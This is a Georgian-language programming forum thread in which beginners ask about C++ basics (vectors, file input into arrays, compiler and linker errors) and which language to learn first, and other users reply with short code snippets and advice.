გაიხარე მაგაში იყო პრობლემა...

Time.timeScale = value;
yield break;
}

yield return null;
}

}

Posted by: Yan-LoonG 27 Jul 2015, 15:25
1:
std::vector<int> v(10);
2:
std::vector<int> v;
v.reserve(10);


რა განსხვავებაა ამ 2 ს შორის"?
* * *
QUOTE
აი აქ ჩაიკითხე ბოლოში...

ვირტუალი უნდა გააკეთო და ზედა ორ კლასში უნდა გაიმეორო მესამეში თუ გინდა გამოიყენო

class A { virtual void f(); };
class B { virtual void f(); };
class C : public A ,public B { void f(); };

მადლობა გამომივიდა.

Posted by: კოვალსკი 27 Jul 2015, 17:19
QUOTE
რა განსხვავებაა ამ 2 ს შორის"?

QUOTE
std::vector<int> v(10);

ქმნის ვექტორს რომელშიც integer ტიპის 10 ელემენტია მნიშვნელობით 0. თითოეული ელემენტის ინიციალიზება ხდება (კონსტრუქტორის გამოძახება).
ამ შემთხვევაში ელემენტები integer ტიპისაა შესაბამისად მათი მნიშვნელობა იქნება 0 (default value).
QUOTE
std::vector<int> v;
v.reserve(10);

არეზერვებს მეხსიერებას 10 ელემენტისთვის. ინიციალიზება არ ხდება.

Posted by: Yan-LoonG 27 Jul 2015, 18:20
კოვალსკი
მადლობა გასაგებია.


* * *
კიდე რა მაინტერესებს ეს size_t რას ნიშნავს და რატო გამოიყენება ვერ მივხვდი ის გავიგე მგონი რო unsigne int -ს წარმოადგენს

Posted by: Roofus 31 Jul 2015, 01:54
Yan-LoonG
http://www.cplusplus.com/reference/cstring/size_t/

Posted by: That_Dude_With_Guitar 4 Aug 2015, 00:52
bool testBool= true;
if (testBool)
{
Console.WriteLine("testWin");
}
else
{
Console.WriteLine("testLose");
}

მოკლედ ამ ფუნქციაზე რა გარე გავლენის მოხდენა შემიძლია (ამ კოდის შეუცვლელად) რომ else ტრიგერი/testLose მდგომარეობა ავამოქმედო?

ყველაზე მარტივი გზა მაინტერესებს. yes.gif

Posted by: Roofus 4 Aug 2015, 00:58
testBool= 0;


ყველაზე მარტივი.....
--------------
ოღონდ ცალკე სრეადში...
სავარაუდოდ...

Posted by: That_Dude_With_Guitar 4 Aug 2015, 01:11
აგიხსნი რაც მინდა, მინდა რომ გავაკეთო გარე ფუნქცია, რომელიც ამ კოდზე მოახდენს გავლენას, და რომელსაც ექნება მომხმარებლისთვის მიწვდომადი text field სადაც შეიყვანს value-ს, თვითონ ამ value-ს შეყვანა ავტომატურად უნდა ამუშავებდეს else ტრიგერს. ანუ სანამ text field-ი ცარიელია, მანამდე if ტრიგერი მუშაობდეს და როგორც კი რაიმე სახის value შევა text field-ში else აამუშაოს. ვიცი რომ სხვანაირი სკრიპტის დაწერაც შეიძლება მაგრამ ეს სკრიპტი რომ უცვლელი დარჩეს ეგ პრიორიტეტია. ორივე ფუნქცია მზად მაქვს ოღონდ არ ვიცი მეორე ფუნქციას რა ჩავამატო რომ ამ კოდზე მოახდინოს გავლენა. test bool=false რომ testbool=true; -ად შეიცვალოს ისევ textfield-ში value-ს წაშლისთანავე ეგ მჭირდება.

Posted by: Roofus 4 Aug 2015, 02:43
That_Dude_With_Guitar
კაი დაიცადე 1-2 წუთი დაგიწერ ფუნქციას და აგიხსნი.
* * *
That_Dude_With_Guitar
გასაგებია.
მოკლედ შენ თუ კონსოლში აკეთებ მაგას იმუშავებს ნებისმიერ ვარიანტში.


ეს ავტომატურად აამოქმედებს შენ write ფუნქციას
ანუ ესე უნდა დაწერო.
CODE

bool testBool= true;

getchar(cin, x); // აქ მომხმარებელს შეყავს იქსის მნიშვნელობა. და იცვლება  testBool
if(x=="1"){
testBool= false;
}

if (testBool)
{
Console.WriteLine("testWin");
}
else
{
Console.WriteLine("testLose");
}

Posted by: That_Dude_With_Guitar 5 Aug 2015, 00:29
Roofus
აუ თავში კიდევ ერთი if-ის ჩამატებაზე არც მიფიქრია... ზუსტად ეს მჭირდებოდა. მადლობა.

Posted by: Yan-LoonG 20 Aug 2015, 17:52
try, throw, and catch Statements

ესენი ვერ გავიგე გუგლში ვნახე და მაინც ვერ გავიგე ;დ
და რისვის გამოიყენება იქნებ ერთი-ორი ქართული ახსნა შემაწიოთ :*

Posted by: Devastator 28 Sep 2015, 22:06
ჩემი გახსნილი თემა smile.gif) რაც გავხსენი, მგონი იმის მერე არაფერი დამიპოსტავს.
ახლა კი ასეთი შეკითხვა მაქვს: ტექსტ დოკუმენტიდან მინდა წავაკითხო პროგრამას ციფრები, რომლებიც არეულადაა ჩაწერილი (ანუ თითო ხაზზე თითო ციფრი არაა)
რიცხვების ტიპი ძირითადად ათწილადებია. მაგალითად ასეთი რამ:
2,45 3,31 349,08
43,11 34,6 3,956

მინდა, რომ ეს ციფრები წავაკითხო ფაილის ბოლომდე და დავყო 3 ელემენტიან მასივებად. იქნებ დამეხმაროთ ვინმე readln-ვერ ვაკეთებ რაღაც sad.gif

Posted by: irakli8 28 Sep 2015, 22:30
Devastator
CODE
#include<iostream>
#include<fstream>

using std::ifstream;

int main()
{
double nums[5][3] = { 0 };
ifstream in;
in.open("txt.txt");

for (int k = 0; k < 5; k++)
 for (int i = 0; i < 3 && in >> nums[k][i]; i++);

}

წავა? smile.gif

Posted by: Devastator 28 Sep 2015, 23:02
irakli8
მაადლობა დიდი! smile.gif დავტესტავ მალევე კოდს. ეხლა არ მაქვს არაფერი რო შევამოწმო.

Posted by: Mr_Gigi 30 Sep 2015, 13:16
C++ ში როგორ დავწერო ისეთი პროგრამა, რომ გაშვებისას შეიქმნას ტხტ ფაილი, სადაც ჩამოწერილი იქნება სვეტზე რიცხვები 1 დან 1000 მდე, ვთქვათ?

Posted by: koshogio 30 Sep 2015, 17:34
Mr_Gigi
QUOTE
C++ ში როგორ დავწერო ისეთი პროგრამა, რომ გაშვებისას შეიქმნას ტხტ ფაილი, სადაც ჩამოწერილი იქნება სვეტზე რიცხვები 1 დან 1000 მდე, ვთქვათ?

შექმენი ფოლდერი ვქვათ counter და ამ ფოლდერში განათავსე პროგრამა counter.cpp და ფაილი counter.in (გაფართოება შეამოწმე counter.in.txt არ იმუშავებს) ამ ფაილში შეიტანე n=1000. გაუშვი პროგრამა, ფოლდერში თვითონ გაჩნდება ფაილი counter.out და ნახე.
CODE
#include <fstream>
using namespace std;
int n,i;
ifstream f1("counter.in");
ofstream f2("counter.out");
main(){
f1>>n;
for(i=0; i<=n; i++)
f2<<i<<endl;
}

Posted by: wixxen2012 1 Oct 2015, 20:06
#include <iostream>
using namespace std;
int i,n;
main() {
system("color 2");
cin>>n;
for(i=1;i<=n;i++)
cout<<" "<<i<<endl;
system("pause");
} ამ პროგრამით ვწერ პროსტა რიცხვებს cmd-ში და ტექსტ ფაილში ვერ გადავიტან? D:DDD 1000 000 მინდა ვთქვათ კი ადის მილიონამდე მარა 1იდან არჩანს

Posted by: koshogio 1 Oct 2015, 20:18
wixxen2012
QUOTE
ტექსტ ფაილში ვერ გადავიტან?

ჩემი პოსტი არ წაგიკითხავს? counter.out სწორედ ტექსტ ფაილია.
შენ კონსოლიდან შეგყავს და პასუხსაც იქ იღებ, მე ფაილიდან შემყავს და პასუხს სხვა ფაილში ვღებულობ.

Posted by: RVP_20 2 Oct 2015, 16:47
გეომეტრიული პროგრეესიის გამოსათვლელი პროგრამა მინდა დავწერო და ფორმულაში q ხარისხად n როგორ უნდა ჩავწერო? ანუ ხარისხს ზოგადად ერმანეთის ნამრავლად ვწერ და n ხარისხი?

Posted by: koshogio 2 Oct 2015, 16:58
RVP_20
QUOTE
ფორმულაში q ხარისხად n როგორ უნდა ჩავწერო?

pow(q, n)

Posted by: RVP_20 3 Oct 2015, 00:24
koshogio
მადლობა დიდი, გაიხარე

Posted by: finchera 4 Oct 2015, 10:51
რომელი ჯობს ვისწავლო ჯერ java[ertad]script, c თუ c++ ?

Posted by: მეგატვინი 4 Oct 2015, 11:39
finchera
QUOTE
რომელი ჯობს ვისწავლო ჯერ java[ertad]script, c თუ c++ ?


ვებზე თუ გინდა მუშაობა მაშინ ჯავასკრიპტი

C-სა და C++ს შორის C-ის გირჩევ up.gif

Posted by: finchera 4 Oct 2015, 13:15
QUOTE
ვებზე თუ გინდა მუშაობა მაშინ ჯავასკრიპტი

C-სა და C++ს შორის C-ის გირჩევ


მადლობa გაიხარე

ანუ თანმიმდევრობას მნშვნელობა არ აქვს ხო ?


Posted by: koshogio 4 Oct 2015, 13:27
finchera
QUOTE
ანუ თანმიმდევრობას მნშვნელობა არ აქვს ხო ?

ჯერ ჩამოყალიბდი, რა მიზნით აპირებ ენების შესწავლას.

Posted by: Roofus 4 Oct 2015, 18:19
finchera
QUOTE
ანუ თანმიმდევრობას მნშვნელობა არ აქვს ხო ?

აქვს კი...

ჯობია C++ დაიწყე.
მერე თუ დაგაინტერესებს C შეისწავლე. მაგრამ C++ იგივე C ენაა უბრალოდ კლასებით.

ჯავას სწავლას თუ დააპირებ რაღაც დონეზე უნდა გესმოდეს პროგრამირება...
იქ სულ კლასებია და ამ კლასების ახსნა. თუ ვერ გაიგებ ამ კლასების ახსნას გაგიჭირდება... სულ სტაკზე და გუგლში იქნები ))

მე ესე დავიწყე სწავლა C++ > Java > PHP/MySQL > JS , ჯს არ წამიკითხია მაგრამ ვიყენებ და ცოტ-ცოტა აზრზე მოვდივარ როგორ მუშაობს.


+ ჯს ჯავასთან არანაირი კავშირი არ აქვს სახელის გარდა.
+ ჯს არის სკრიპტული ენა

აბსოლუტურად 2 სხვადასხვა სამყაროა.

+ჯს-ის სწავლა პჰპ საბაზისო ცოდნის გარეშე დროის კარგვაა...

Posted by: მეგატვინი 4 Oct 2015, 22:08
finchera
QUOTE
ანუ თანმიმდევრობას მნშვნელობა არ აქვს ხო ?


აირჩიე ვები გინდა თუ სისტემური.

ვებზე აქვს მნიშვნელობა თანმიმდევრობას,მაგალითად ჯავასკრიპტს ვერ ისწავლი თუ HTML არ იცი,რაღაც დონეზე.

სრულფასოვანი საიტი რო ააწყო დიდი ფუნქციონალით,საერთოდ რამდენიმე ენა უნდა იცოდე.

სისტემურზე არ აქვს მაინცდამაინც მნიშვნელობა,უბრალოდ მიმართულებას გააჩნია რა გინდა რა.

C რო ისწავლო,ანდროიდზე ვერ დაწერ,C#ს ლინუქსზე ვერ გამოიყენებ და ა.შ

C-სა C++-ს შორის არჩევანს თუ აკეთებ,მე C-ის დაწყებას გირჩევ yes.gif

დახვეწილი ენაა და სხვა ენაზე "გადაპორტირებაც" პრობლემა არაა.

Roofus
QUOTE
+ჯს-ის სწავლა პჰპ საბაზისო ცოდნის გარეშე დროის კარგვაა...


რატო ?

ჯს-ს მერე Node.js-ს თუ გაყვები,PHP არ გჭირდება საერთოდ.

უფრო MySQL-ს სწავლა იქნებოდა დროის კარგვა,პჰპ თუ არ იცი/

Posted by: Roofus 4 Oct 2015, 22:24
მეგატვინი
node.js ხო არ მიხსენებია... ჯს ვთქვი.
თუ node-ს გაყვები საერთოდ ცალკე შეგიძლია ისწავლო, იმიტომ რომ ეგ ენა პლათფორმასთან ურთიერთქმედებს...
თან ვებიო... რავიცი...

Posted by: მეგატვინი 4 Oct 2015, 22:31
Roofus

ჯავასკრიპტია ნოუდ ჯისიც,სერვერ-საიდზე გამოიყენება უბრალოდ

php-ის ალტერნატივაა,ასე თუ ისე მძლავრი up.gif

QUOTE
ჯს ვთქვი.

პჰპ-ის გარეშე ჯავასკრიპტის დაწყება,დროის კარგვა არისო და rolleyes.gif

Posted by: Roofus 4 Oct 2015, 22:39
მეგატვინი
რაგინდა ეხლა რატომ მეკამათები.
ჯს ვიგულისხმე Node JS, Ext JS, AngularJS ბიბლიოთეკების გარეშე...

შტრაFი გადავიხადო სადმე? boli.gif

QUOTE
php-ის ალტერნატივაა,ასე თუ ისე მძლავრი

https://www.reddit.com/r/webdev/comments/1oqhit/is_nodejs_a_good_alternative_to_php/

პირველი პასუხი წაიკითხე plz...

Posted by: finchera 4 Oct 2015, 22:46
გაიხარეთ ბიჭებო მადლობა)

C++ ვნახოთ თუ გამომივა რამე.


Posted by: ibrahima 7 Oct 2015, 16:13
ესე იგი ჩავწერე C++ Borland 6 windows 7-ზე ხოდა პროგრამას რო ვუშვებს მიწერს : [Linker Fatal Error] Fatal: Expected a file name: რისი ბრალია? ოღონდ არ მითხრათ რო ვინდოუსის ბრალია. სხვა რა მიზეზი შეიძლება იყოს?

Posted by: fe11x 13 Oct 2015, 23:17
ibrahima
QUOTE
ესე იგი ჩავწერე C++ Borland 6 windows 7-ზე ხოდა პროგრამას რო ვუშვებს მიწერს : [Linker Fatal Error] Fatal: Expected a file name: რისი ბრალია? ოღონდ არ მითხრათ რო ვინდოუსის ბრალია. სხვა რა მიზეზი შეიძლება იყოს?

ვირტუალ მანქანაში გაუშვი იქსპიზე და იბედნიერე ჩემსავით biggrin.gif
ეხლა კი ნუბური შეკითხვა
CODE

#include <iostream>

int main()
{
cout << "test run\n";
return 0;
}

აი ეს ძაან მარტივი კოდი ვერ ავამუშავე, რანს რომ ვაძლევ მაშინვე ქრება კონსოლის ფანჯარა sad.gif რად სტუდიოზეც ვცადე თავიდან და ვიფიქრე სტუდიოს ბრალიათქო დავირტუალ მანქნაზე ბორლანდ სპპ დავაყენე მარა იქაც არ გაეშვა. ვიცი რომ ძაან მარტივია რაღაც მარა ძაან ბნელა ჩემთან facepalm.gif facepalm.gif gigi.gif gigi.gif

Posted by: მეგატვინი 13 Oct 2015, 23:22
fe11x
CODE
#include <iostream>

using namespace std;

int main()
{
   cout<< "test run\n";
   return 0;
}




Posted by: fe11x 13 Oct 2015, 23:29
მეგატვინი
QUOTE
fe11x
CODE
#include <iostream>

using namespace std;

int main()
{
   cout<< "test run\n";
   return 0;
}


მადლობა მარა ბორლანდზე არ მუშაობს. iostream-ის გარდა სხვა რამე ბიბლიოთეკაც ხომ არ უდნა ჩავურთა?

Posted by: მეგატვინი 13 Oct 2015, 23:53
fe11x
QUOTE
iostream-ის გარდა სხვა რამე ბიბლიოთეკაც ხომ არ უდნა ჩავურთა?


არა არ უნდა.

ისე ბორლანდი არ მოძველდა ?

Codeblocks დააყენე,კომპაილერებით ან კიდე gcc yes.gif

Posted by: fe11x 14 Oct 2015, 00:14
მეგატვინი
QUOTE
არა არ უნდა.

ისე ბორლანდი არ მოძველდა ?

Codeblocks დააყენე,კომპაილერებით ან კიდე gcc

ვიცი რომ ძველია 2003ში "ვსწავლობდი" გეპეიში ჯერ კიდევ biggrin.gif .namespace-ზე მეუბნება ვერ გავიგე რა არისო smile.gif არადა მახსოვს გეპეის დროს ეგეთი პრობლემა არ შემქმნია, მაშინათვე გაეშვა.
დეიტელის წიგნს წავაწყდი შემთხევეით და მომეწონა სწავლების მიდგომა და ჩავუჯექი. ვნახოთ რა გამოვა biggrin.gif

Posted by: მეგატვინი 14 Oct 2015, 00:20
fe11x
QUOTE
ვიცი რომ ძველია 2003ში "ვსწავლობდი" გეპეიში ჯერ კიდევ biggrin.gif .namespace-ზე მეუბნება ვერ გავიგე რა არისო smile.gif არადა მახსოვს გეპეის დროს ეგეთი პრობლემა არ შემქმნია, მაშინათვე გაეშვა.


biggrin.gif

ეხლა ვარ გეპეიში და ვარესებს გვაწერინებენ,ჩათვალე რო იმის მერე არ შეცვლილა არაფერი biggrin.gif
თან არ ეშვება კოდებიც lol.gif

QUOTE
დეიტელის წიგნს წავაწყდი შემთხევეით და მომეწონა სწავლების მიდგომა და ჩავუჯექი. ვნახოთ რა გამოვა biggrin.gif

ინგლისური წიგნი თუ გინდა C++ primer plus აიღე up.gif

Posted by: fe11x 14 Oct 2015, 00:31
მეგატვინი
QUOTE
თან არ ეშვება კოდებიც 

biggrin.gif biggrin.gif ალბათ ჩემი პაკალენია ასწავლის და თანაც ისეთები რომლებმაც თავად არაფერი იციან :@
QUOTE
ინგლისური წიგნი თუ გინდა C++ primer plus აიღე

მე ძველი რუსული შკოლა მაქვს გავლილი და რუსული მირჩევნია biggrin.gif

Posted by: fe11x 16 Oct 2015, 00:38
ვერავინ დამეხმარება? cry.gif
სულ მცირე 30 სიმბოლოთი

Posted by: კოვალსკი 16 Oct 2015, 01:04
fe11x
QUOTE
მაშინვე ქრება კონსოლის ფანჯარა


CODE

#include <cstdlib>
#include <iostream>
using namespace std;

int main()
{
cout << "test run\n";

system("PAUSE");

return 0;
}

Posted by: fe11x 16 Oct 2015, 16:20
კოვალსკი
არ მუშაობს ეს კოდი საერთოდ ერორებს ყრის
user posted image

Posted by: koshogio 16 Oct 2015, 16:47
fe11x
QUOTE
არ მუშაობს ეს კოდი საერთოდ ერორებს ყრის

დააყენე Dev-Cpp 5.4.2 MinGW 4.7.2 და იმუშავებს უპრობლემოდ

Posted by: Shredinger 16 Oct 2015, 20:48
ნეტა საერთოდ მოაშორებდნენ ამ ბორლანდია თუ შორლანდია ამ უნივერსიტეტებიდან კაროჩე ხალხს პროგრამირებას აზიზღებენ.
ხთუი ბლიად რა #### ქვეყანაა

Posted by: fe11x 16 Oct 2015, 21:08
koshogio
QUOTE
fe11x
QUOTE
არ მუშაობს ეს კოდი საერთოდ ერორებს ყრის

დააყენე Dev-Cpp 5.4.2 MinGW 4.7.2 და იმუშავებს უპრობლემოდ

მადლობა როგორც იქნა მეშველა smile.gif

Posted by: Dixtosa 17 Oct 2015, 10:01
fe11x
ვირტუალურზე რატო ამუშავებ ბორლანდს?biggrin.gif

Posted by: fe11x 18 Oct 2015, 22:16
Dixtosa
QUOTE
fe11x
ვირტუალურზე რატო ამუშავებ ბორლანდს?

აბა ვინდოუს 8 64ბიტიანზე რო გაუშვი სულ ერორები იბურტყუნა biggrin.gif

Posted by: natia... 24 Oct 2015, 15:14
მეგობრებო ვერ დამეხმარებით ეს რას ნიშნავს? "unqualified id before if"

Posted by: კოვალსკი 24 Oct 2015, 15:32
natia...
კოდის ფრაგმენტი დადე
ისე კი შეიძლება if პირობა ფუნქციის ტანში არ გაქვს

Posted by: koshogio 24 Oct 2015, 15:52
natia...
QUOTE
მეგობრებო ვერ დამეხმარებით ეს რას ნიშნავს? "unqualified id before if"

კოდი დადე. რაღაც გამორჩენილი გაქვს კოდში.

Posted by: Gooramos 28 Oct 2015, 18:10
ამ ამოცანის დაწერისთვის მასივები აუცილებელია?>> http://codeforces.com/problemset/problem/579/A

ალგორითმს მგონი მივხვდი და ჩაწერა მიჭირს.

დღე 1 >> n ბაქტერია

დღე 2 >> 2n + n ბაქტერია

დღე 3 >> 2(2n+n)+n ბაქტერია

..და ასე შემდეგ. ჯერ მასივები არ მისწავლია და აუცილებელია ამის ამოხსნისთვის?

Posted by: Devastator 10 Dec 2015, 17:05
სალამი smile.gif ფაილიდან წაკითხვაზე მაქვს კითხვა.
მაქვს ასეთი ფაილი, სადაც ციფრები წერია ასე:
1234567
891011121314

ზუსტად ასე, როგორც ზემოთ დავწერე. არაა მათშორის გამოტოვებები.
მინდა, რომ ეს ფაილი წავაკითხო პროგრამას და ციფრები გადავიტანო 2D მასივში, მაგალითად ასეეთი რამ რო მივიღო:
int mas2D[7][2]={(1,2,3,4,5,6,7),(8,9,10,11,12,13,14)};

Posted by: Dixtosa 10 Dec 2015, 17:09
Devastator
თითო ხაზზე მარტო შვიდი რიცხვი წერია და თან ყოველი შემდეგი წინაზე ერთით დიდია?

Posted by: koshogio 10 Dec 2015, 18:59
Devastator
QUOTE
მინდა, რომ ეს ფაილი წავაკითხო პროგრამას და ციფრები გადავიტანო 2D მასივში

ასე?
CODE
#include <iostream>
using namespace std;

int i,j;
int mas2d[2][7];

main()
{
cout<<"int mas2D[7][2]={";
for(i=1; i<=2; i++){
cout<<"(";
for(j=1; j<=7; j++){
if(i==1)
mas2d[i][j] =i* j;
else mas2d[i][j] =7+ j;
cout<<mas2d[i][j]<<",";
}
cout<<"),";
}
cout<<"}";
return 0;
}

Posted by: Devastator 14 Dec 2015, 12:21
Dixtosa
შეიძლება სხვა მონაცემებიც იყოს. აუცილებლად +1 კანონზომიერება არ იქნება. ეგ უბრალოდ ეხლა რაც დავწერე ეგ იყო.
koshogio
მადლობა. მაგ კოდის მიხედვით გავაკეთებ რაღაცას. მოკლედ მასივების წაკითხვა მჭირდება ტექსტური დოკუმენტებიდან და მაგაზე მექნება კითხვები ალბათ კიდევ smile.gif

Posted by: Dixtosa 14 Dec 2015, 22:41
Devastator
მაშინ ზუსტად ახსენი როგორაა რიცხვები დაწერილი. როგორ ხვდება ადამიანი რო შემდეგი სტრიქონი
1234567
არის 1,2,3,4,5,6,7 და არა
123,456,7?

Posted by: Devastator 16 Dec 2015, 18:34
Dixtosa
აი ასეთი ამოცანა მაქვს ეხლა:
ფაილში მაქვს ციფრები ჩაწერილი ნულებად და ერთებად, დაახლოებით ასე:
0100
0010
0001
0010

ეს ხომ არის 4x4 მასივი. ამ მასივიდან მინდა ელემენტები ამოვკრიფო 2x2 მასივებად (4 ცალი 2x2 მასივი) ეს ელემენტები უნდა იყოს int ტიპის მასივში და უნდა შევკრიბო შემდეგ ეს 2x2 მასივები და მიღებული ელემენტები გავყო მასივების რაოდენობაზე (საშუალო არითმეტიკული უნდა გამოვითვალო.
წაკითხვაზე ვიჭედები. ასე ვცადე, მაგრამ მთლიან 4x4 მასივსაც ვერ ვაკითხებ, რომ ერთ მთლიან 4x4 int ტიპის ორგანზომილებიან მასივში გადავიტანო და მერე დავშალო. ნულები გამოაქვს სულ... აი ესაა კოდი:
QUOTE

#include <iostream>
#include <fstream>
#include <cstdlib>
using namespace std;

int main()
{

    int masint[4][4];
    int i =0, j=0;
    //zero arrays
    for(i=0;i<8;i++)
        for(j=0;j<8;j++){
    {
        masint[i][j]=0;
    }
        }
    ifstream cell("fl.doc");
    if(cell.is_open()){
        for(i=0;i<4;i++){
            for(j=0;j<4;j++){
                {
                    cell>>masint[i][j];
                }
            }
        }
    }
    //output array
    for(i=0;i<4;i++){
        for(j=0;j<4;j++){
            {
                cout<<masint[i][j];
            }
        }
    }
    return 0;
}

Posted by: Dixtosa 17 Dec 2015, 00:34
Devastator
ეს
int masint[4][4];
გახადე ჩარის ტიპად
char masint[4][4];

და მერე თითოულს გამოაკელი

masint[i][j] -= '0'
ვსო ესაა წაკითხვა. მატრიცაში გექნება ციფრები.
დანარჩენი რა მაქინაციებს აკეთებ ვერ გავიგე.

Posted by: fe11x 22 Jan 2016, 11:56
-----------------------------------------------------------

Posted by: შაქროII 27 Jan 2016, 00:44
Devastator
ჯერ კონსოლი გაუშვი და მერე პროგა კონსოლში....
* * *
QUOTE
ამ მასივიდან მინდა ელემენტები ამოვკრიფო 2x2 მასივებად

რა წესით?
01 00
00 10

00 01
00 10

ასე?

Posted by: AIX-500 27 Jan 2016, 11:23
Gooramos
კაი ამოცანააა სამწუხაროდ გვიან ვნახე. შეყვანილი რიცხვი უნდა დაყო ორის ხარისხების ჯამად და რამდენი ორის ხარისხიც იქნება იმდენი ბაქტერია უნდა ჩადო.

* * *
http://codeforces.com/problemset/problem/579/A
ყველანაირი მასივების გარეშე, ციკლის მაქსიმუმი ბიჯი 32. ვინ დაწერს? სამსახურში ავიყვან ჩათვალეთ.

Posted by: Dixtosa 27 Jan 2016, 12:08
QUOTE
ყველანაირი მასივების გარეშე, ციკლის მაქსიმუმი ბიჯი 32. ვინ დაწერს? სამსახურში ავიყვან ჩათვალეთ.

ვაფშე ციკლის გარეშე
__builtin_popcount
ჩათვალე აყვანილი ხარ

Posted by: AIX-500 27 Jan 2016, 13:04
Dixtosa
გაიხარე, მაგრამ პროცესორს გააჩნია თუ არ აქვს ერთ ტაქტში ბიტების დათვლის საშუალება მაშინ კომპილატორი ციკლს გააკეთებს დასათვლელად. მუშაობ?

Posted by: შაქროII 27 Jan 2016, 20:53
AIX-500
მაგ ამოცანის პირობა ვერ გავიგე მხოლოდ 1 ცვლადი უნდა შემოიტანოო იქს ხომ დღეების რაოდენობაა...და რამდენი ბაქტერია მინდა რომ ყვადეს ეს პირობაც ხომ უნდა შეიტანოს მომხმარებელმა?

ანუ მინდა 20 ბაქტერია 4 დღეში რამდენი ბაქტერია უნდა ჩვდო ხელით? ეს არაა პირობა?
პასუხი 1 დღეს ვდებ 1 ბაქტერიას 2 დღის შემდეგ კიდევ ვდებ ერთს. 2^4+2^2 ანუ 2 ჩადება მიწევს და ა.შ.
ანუ პირობა არაა სრული ორი რიცხვი უნდა შეიტანოს უზერმა: დრეების იქს და იმბაქტერიების რაოდენობა რამდენიც უნდა N

Posted by: Dixtosa 28 Jan 2016, 10:19
შაქროII
ამოცანა გეკითხება 20 ბაქტერია გამიჩინე მინიმალური დანამატებითო. დროს არ აქვს მნიშვნელობა.

QUOTE
მუშაობ?

გააჩნია :დ

Posted by: შაქროII 29 Jan 2016, 00:08
Dixtosa
ოკ უფრო მარტივად ყოფილა smile.gif საქმე................

Posted by: AIX-500 29 Jan 2016, 09:36
შაქროII
ორის ხარისხების რაოდენობა უნდა დაითვალო.
მაგ თუ გინდა მიიღო სამი ბაქტერია: სულ მოგიწევს ორის ჩასმა.

Posted by: შაქროII 29 Jan 2016, 22:49
AIX-500
xo სხვაგვარად რომ ვთვათ რიცხვი უნდა გადაიყავნო ორობიტში....ყველაზე მაღალი ტანრიგი იქნება პირველი რომ ჩდე smile.gif ...რამდენ ტანრიგშიც ზის ერიანი იმდენი ჩდებაა საჭირო..


მოდი გავართულოთ ამოცანა... თავიდან როგორც მეგონა..ანუ... ვთქვათ 513 ბაქტერია გინდა რომ მიიღო 5 დღეში რამდენი მინ ჩადება უნდა გააკეთო?
არ ვცი შეიძლება არ ჰქონდეს ერტადერტი ამოხსნა...

Posted by: AIX-500 30 Jan 2016, 09:46
შაქროII
QUOTE
არ ვცი შეიძლება არ ჰქონდეს ერტადერტი ამოხსნა...

ნუ მარტივი პასუხი ასეთია პირველ ჩადებაზე სრქზუ ჩადებ 16-ს და ბოლოს ერთს

Posted by: Devastator 30 Jan 2016, 22:27

Dixtosa
მადლობა დახმარებისათვის smile.gif
შაქროII
დიდი ხანია ვეღარ შემოვედი და ეხლა ვნახე მინაწერი. დავწერ კიდევ, რა მჭირდება.
მაქვს მასივი, ორგანზომილებიანი, ვთქვათ 4x4
მაგალითად:
1234
5678
9876
5432
ეს მატრიცა მინდა დავყო ოთხ მატრიცად.
მაგალითად:
a:
12
56
b:
34
78
c:
98
54
d:
76
32
.....
ანუ ოთხ თანაბარ ნაწილად ვყოფ ამ მასივს და ვერ გავაკეთე sad.gif
თუ შეგიძლიათ დამეხმაროთ დაწერეთ კოდი. ეხლა ამ კომპიუტერში არ მაქვს რაც დავწერე... არ გამოდის წესივრად იქ.

Posted by: შაქროII 31 Jan 2016, 20:34
for cikli i,j daatriale 1-2 da gazarde ofsetX=2 offsetY=2 it

Posted by: ibo 5 Feb 2016, 04:26
გამაგიჟა ამ ც++ არ ვიცი რა უნდა იქნებ წამეხმაროთ ცოტა პლიზ

მარტივი პროგრამაა (ჯერჯერობით) ერტი ფაილი Main.CPP და მეორე კიდე მეთოდის ფაილი ეგეც .CPP... მეუბნება ასეთ რაღაცას: multiple definition of 'GetFactor(char, int)'.

ეს მაინ:
#include <iostream>
#include <string>
#include "CEMMethod.cpp"

using namespace std;

int main()
{
double a;
a=GetFactor('IR',1);
cout << a;
return 0;
}

ესეც მეორე ფაილი CEMMethod.CPP
#include <iostream>
#include <string>

using namespace std;

double GetFactor(char derivType, int Maturity) {
if (derivType='IR'){
switch (Maturity) {
case (0):
return 0;
case (1):
return 0.005;
case (5):
return 0.015;
break;
};
};
if (derivType='FX'){
switch (Maturity) {
case (0):
return 0.01;
case (1):
return 0.05;
case (5):
return 0.075;
break;
};
};
if (derivType='EQ'){
switch (Maturity) {
case (0):
return 0.06;
case (1):
return 0.08;
case (5):
return 0.1;
break;
};
};
if (derivType='FX'){
switch (Maturity) {
case (0):
return 0.01;
case (1):
return 0.05;
case (5):
return 0.075;
break;
};
};
if (derivType='Gold'){
switch (Maturity) {
case (0):
return 0.01;
case (1):
return 0.05;
case (5):
return 0.075;
break;
};
};
if (derivType='CMD'){
switch (Maturity) {
case (0):
return 0.07;
case (1):
return 0.07;
case (5):
return 0.08;
break;
};
};
if (derivType='OTHER'){
switch (Maturity) {
case (0):
return 0.1;
case (1):
return 0.12;
case (5):
return 0.15;
break;
};
};
if (derivType='CreditQualified'){
return 0.05;
};
if (derivType='CreditNonQualified'){
return 0.10;
};
};



Posted by: AIX-500 5 Feb 2016, 08:35
ibo
აბა რას აკეთებ? ვის გაუგია cpp ფაილის include.
include გაუკეთე h ფაილს. დეტალურად ვერ აგიხსნი ეხლა რატოა ეგ სისულელე, გაგება ძაან გაგიჭირდება, მეორე cpp ფაილი დაშალე და გააკეთე h ფაილი, თუმცა იმ h ფაილს და მეორე cpp-საც აზრი არ აქვა მანდ რაც გიწერია იქიდან გამომდინარე.

Posted by: ibo 5 Feb 2016, 17:42
AIX-500
კი მივხვდი მადლობა, გავაკეთე ეხლა სხვანაირად ჰეადერ ფაილით და დამიწერა undefined reference to 'WinMain@16'.
ეს რას ნიშნავს?
სადაც მაინ ცპპ არის იქ არ უნდა შევინახო ჰეადერ და მეორე ცპპ ფაილი?

https://www.youtube.com/watch?v=vz1O9nRyZaY
აი აქ როგორც აკეთებს ზუსტად მასე ვაკეთებ და მაგ undefined reference to 'WinMain@16' მიგდებს...
* * *
შაქროII
როცა მოიცლი მიპასუხე რა მოკლედ პლიზ smile.gif

Posted by: შაქროII 6 Feb 2016, 01:03
QUOTE
undefined reference to 'WinMain@16'.

რაში აკეტებ დევც++?
კონსოლე აპპლიკაცია პროექტი გააკეტე...

ან მაინ ფაილში ჩაამატე
#include<windows.h>

Posted by: ibo 6 Feb 2016, 01:54
აი ამას მიწერს მაინც არ გამოდის. კი კონსოლ აპლიქეიშენს ვაკეტებ
